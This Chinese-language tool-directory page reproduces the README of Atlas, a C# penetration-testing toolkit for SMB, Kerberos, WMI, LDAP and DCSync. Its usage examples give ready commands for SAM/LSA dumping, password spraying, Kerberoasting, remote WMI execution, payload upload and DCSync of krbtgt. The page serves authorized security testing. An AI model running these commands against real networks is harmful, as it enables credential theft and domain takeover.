Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Atlas — 跨平台网络执行工具包(SMB/Kerberos/WMI/LDAP/DCSync),基于 TrustedSec 的 Titanis 构建——采用 C# 实现的 NetExec 风格工作流 | Kitploit
工具/GitHubGitHub/portbuster1337/atlas
侦察漏洞利用横向移动后渗透利用网络安全渗透测试红队
GitHubportbuster1337/atlas

Atlas

跨平台网络执行工具包(SMB/Kerberos/WMI/LDAP/DCSync),基于 TrustedSec 的 Titanis 构建——采用 C# 实现的 NetExec 风格工作流

查看仓库
837991个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Atlas

Atlas 是一个跨平台(Windows/Linux)网络执行与安全评估工具包,构建于 TrustedSec 的 Titanis 协议库之上。其工作流程受 NetExec/CrackMapExec 启发:目标列表、凭据集、模块化枚举,以及紧凑的 [HH:mm:ss] [+] host - message 控制台输出。

本工具仅用于经授权的安全测试。请仅对您拥有明确测试许可的系统使用。

功能特性

协议能力
smb认证检查(NTLM/Kerberos/匿名)、通过 SRVS/SAMR 枚举共享、用户、组、磁盘、会话;通过远程注册表进行 SAM/LSA 操作;基于 SMB2/3 的文件操作;--pass-pol/--rid-brute/--gen-relay-list/--generate-krb5-file/--generate-hosts-file/--generate-tgt;快照/流/打开文件/网卡;组成员、LSA SID/名称查询、注册表查询、服务、已登录用户、任务列表/终止、EFS 强制认证;通过 wmiexec / smbexec / mmcexec(MMC DCOM)执行
kerberos用户枚举、预认证/AS-REP 检测、Kerberoasting、Key List 攻击、票据伪造(黄金/白银)、TGT 请求、密码修改、S4U2Self/Proxy(-S4UserName)
wmi通过 DCOM/WMI 认证、Win32_Process.Create(-x/-X)或 --wmi-query(WQL)、命名空间列举、StdRegProv 注册表、DCOM 方法调用、EPM 端点列举
ldap通过 SASL/简单绑定认证、查询及标志(--users/--trusted-for-delegation/--pass-pol/--get-sid 等)、--kerberoasting、写操作(-AddUser/-AddComputer/-Delete/-Modify/-SetPassword)、模块、--bloodhound(-c)导出为 BloodHound CE JSON+zip
dcsync通过 [MS-DRSR](DRSGetNCChanges)复制:单个对象、完整 --ntds NC 同步、拓扑(-DcInfo/-ListDomains/-ListSites/-ListRoles/-ListPartitions/-ListGcs/-Neighbors/-CrackName)

标志风格尽可能遵循 NetExec(--shares、--users、--pass-pol、--rid-brute、--local-groups、-d 域、-H 哈希、--kdcHost、-M/-o/-L 模块)。Titanis 的单横线拼写(-Shares、-ud、-NtlmHash)仍然可用。注意:-x/-X 不能共存(不区分大小写),因此 PowerShell 执行使用 -ps;-d 在所有场景(包括 kerberos)中均表示域(realm 会回退到它)。

模块(74 个:48 个 smb + 26 个 ldap;使用 atlas <proto> -L 列出)

模块协议描述
spidersmb递归共享爬取器(depth、maxfiles、match)
shareaccesssmb逐共享的 READ/WRITE 访问检查
localadminssmb通过 SAMR 枚举本地管理员
gpp_passwordsmb解密 Groups.xml 等文件中的 cpassword
gpp_autologinsmbRegistry.xml 中的自动登录凭据
gpp_privilegessmbGptTmpl.inf 中的权限分配
uac / wdigest / runasppl / install_elevatedsmb通过 winreg 进行注册表检查
spoolersmb通过 SCM 检查打印后台处理程序状态
keepass / rclone / winscp / mremoteng / vnc 等smb在共享中搜索文件
ntlmv1 / reg-winlogon / hyperv-hostsmbLmCompatibilityLevel、Winlogon 自动登录、Hyper-V 主机
remote-uac / rdp / shadowrdpsmb读取/写入远程 UAC、RDP、RDP 影子会话(ACTION=...)
reg-querysmb查询/设置/删除注册表值(PATH=...、KEY=...、VALUE=...、TYPE=...、DELETE=True)
enum_cvesmb基于构建号 + UBR 的补丁级别 CVE 检查
enum_avsmb通过 LSA 服务名 + IPC$ 管道枚举 AV/EDR
enum_dns / get_netconnections / bitlockersmb通过 WMI(root\MicrosoftDNS、NIC 配置、BitLocker)
putty / notepad / recent_files / recyclebin / snippedsmbPuTTY 会话 + .ppk、记事本标签状态、最近使用的 LNK、回收站、截图
lockscreendoorssmb通过 FileDescription 检测被植入后门的辅助功能二进制文件
drop-sc / drop-library-ms / scuffy / slinkysmb强制认证诱饵投放 + CLEANUP=True
webdav / smbghost / onelogon / sccm-recon6smbWebClient 检查、SMBGhost 探测、VulnerableChannelAllowList、SCCM 侦察
wccsmbWindows 安全态势检查清单(UAC/LSA/RDP/Defender/LAPS/NetBIOS/...)
change-passwordsmb通过 SAMR 自助修改密码(USER=...、OLDPASS=...、NEWPASS=...)
maqldapms-DS-MachineAccountQuota
pre2kldapWindows 2000 之前的计算机(UAC 4128)
lapsldapLAPS 密码
adcsldapAD CS 注册服务
subnetsldap来自配置命名上下文的站点/子网
daclread / badsuccessor / certipy-find 等ldap通过 Titanis 进行 LDAP 枚举
get-unixUserPassword / dns-nonsecureldapUnix 密码、非安全 DNS 区域
modify-group / add-computerldap组成员身份、计算机生命周期(NAME=...、DELETE=True、...)

所有协议共享:

  • 目标指定:单个主机/IP、CIDR、范围(a.b.c.d-e)、逗号分隔列表、@file
  • 继承自 Titanis 的完整认证矩阵:密码、NT 哈希、AES 密钥、keytab、.kirbi/.ccache 票据、PKINIT 证书、S4U、SPN 覆盖、SOCKS5
  • 多主机扇出,支持可配置的并发数和每主机超时
  • NetExec 风格的控制台输出

要求

  • .NET SDK 9.0+(部分内置的 Titanis 项目使用 C# 13)
  • 到目标的网络可达性(SMB 使用 445/TCP,Kerberos 使用 88/TCP,LDAP 使用 389/TCP,WMI/DCSync 使用 135/TCP + 动态 RPC 端口)

构建

仓库将 Titanis 源代码内置在 external/Titanis 下,并作为解决方案的一部分进行构建。

git clone https://github.com/<your-account>/atlas.git
cd atlas
dotnet build Atlas.sln -p:NoWarn=CS1998

生成的二进制文件是一个依赖框架的 .NET 应用程序:

dotnet src/Atlas.Cli/bin/Debug/net8.0/atlas.dll --help

用法

atlas <protocol> <targets> [authentication] [actions] [options]

目标规范接受任意组合:HOST、10.0.0.5、192.168.1.0/24、10.0.0.1-64、逗号分隔列表或 @targets.txt。

SMB

# Credential check only
atlas smb 10.0.0.5 -u administrator -p 'Password1!'

# Enumeration
atlas smb 10.0.0.0/24 -u admin -p 'Password1!' -Shares -Users -Groups -Disks -Sessions

# SAM / LSA dumping (requires local admin)
atlas smb 10.0.0.5 -u admin -p 'Password1!' -Sam -Lsa

# File operations
atlas smb 10.0.0.5 -u admin -p pass -LsPath 'C$\Users'
atlas smb 10.0.0.5 -u admin -p pass -GetFile 'C$\Windows\win.ini'
atlas smb 10.0.0.5 -u admin -p pass -PutSource ./payload.bin -PutDest 'C$\Temp\payload.bin'

# Modules and flags
atlas smb 10.0.0.0/24 -u admin -p pass -M spider -mo 'depth=3,maxfiles=50,match=.conf'
atlas smb 10.0.0.0/24 -u admin -p pass -M shareaccess -M gpp_password
atlas smb 10.0.0.5 -u admin -p pass -M localadmins -M uac

# Flags (NetExec-like)
atlas smb 10.0.0.5 -u admin -p pass --pass-pol --rid-brute 2000
atlas smb 10.0.0.5 --Anonymous --gen-relay-list relay.txt --generate-krb5-file krb5.conf

# Password spray
atlas smb 10.0.0.0/24 -UserList users.txt -PassList 'Password1!,Summer2024!'

Kerberos

# User enumeration (no credentials required)
atlas kerberos dc01.corp.local -d CORP.LOCAL -UserList users.txt

# Kerberoasting (requires any domain credential)
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p 'Password1!'
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p pass -SpnList 'MSSQLSvc/sql01.corp.local:1433'

# Key List attack against an RODC
atlas kerberos rodc01.corp.local -d CORP.LOCAL -rodcNo 20000 -rodcKey <aes256-hex> -UserList 'jdoe:1104'

WMI

atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass           # auth check
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass -x whoami # exec

LDAP

# SASL (NTLM/Kerberos) bind - typical against Active Directory
atlas ldap dc01.corp.local -d CORP.LOCAL -u user -p pass -Query '(adminCount=1)' -Attrs sAMAccountName

# RFC 4511 simple bind - typical against OpenLDAP
atlas ldap ldap.example.com -bd 'cn=admin,dc=example,dc=com' -bp password \
    -Query '(objectClass=*)' -Base 'dc=example,dc=com'

DCSync

atlas dcsync dc01.corp.local -d CORP.LOCAL -u admin -p pass krbtgt
atlas dcsync dc01.corp.local -d CORP.LOCAL -u admin -p pass jdoe '(adminCount=1)'

身份验证选项(所有协议)

选项含义
-u、-UserName用户名(user、DOMAIN\user 或 user@realm)
-p、-Password密码
-d、-ud、-UserDomain域(NetExec 的 -d;同时作为 Kerberos realm 回退)
-H、--hash、-NtlmHashNT 哈希(NTLM + Kerberos RC4)
-AesKeyAES128/AES256 Kerberos 密钥
-Kdc、--kdcHostKerberos 的 KDC 端点
-S4UserName通过 S4U 模拟的用户(Kerberos;需要 -Kdc,配套 -Spn/-GenerateSt/-Self)
-Tgt / -TicketCache / -Tickets.kirbi / .ccache 票据输入
-Keytabkeytab 文件
-UserCert(+-UserKey)PKINIT 证书身份验证
-Anonymous空会话
-ha主机地址覆盖(在目标位置使用 FQDN,并在此处填写 IP,以获得正确的 SPN)

运行 atlas <protocol> -h 查看完整的参数参考。

仓库结构

下载工具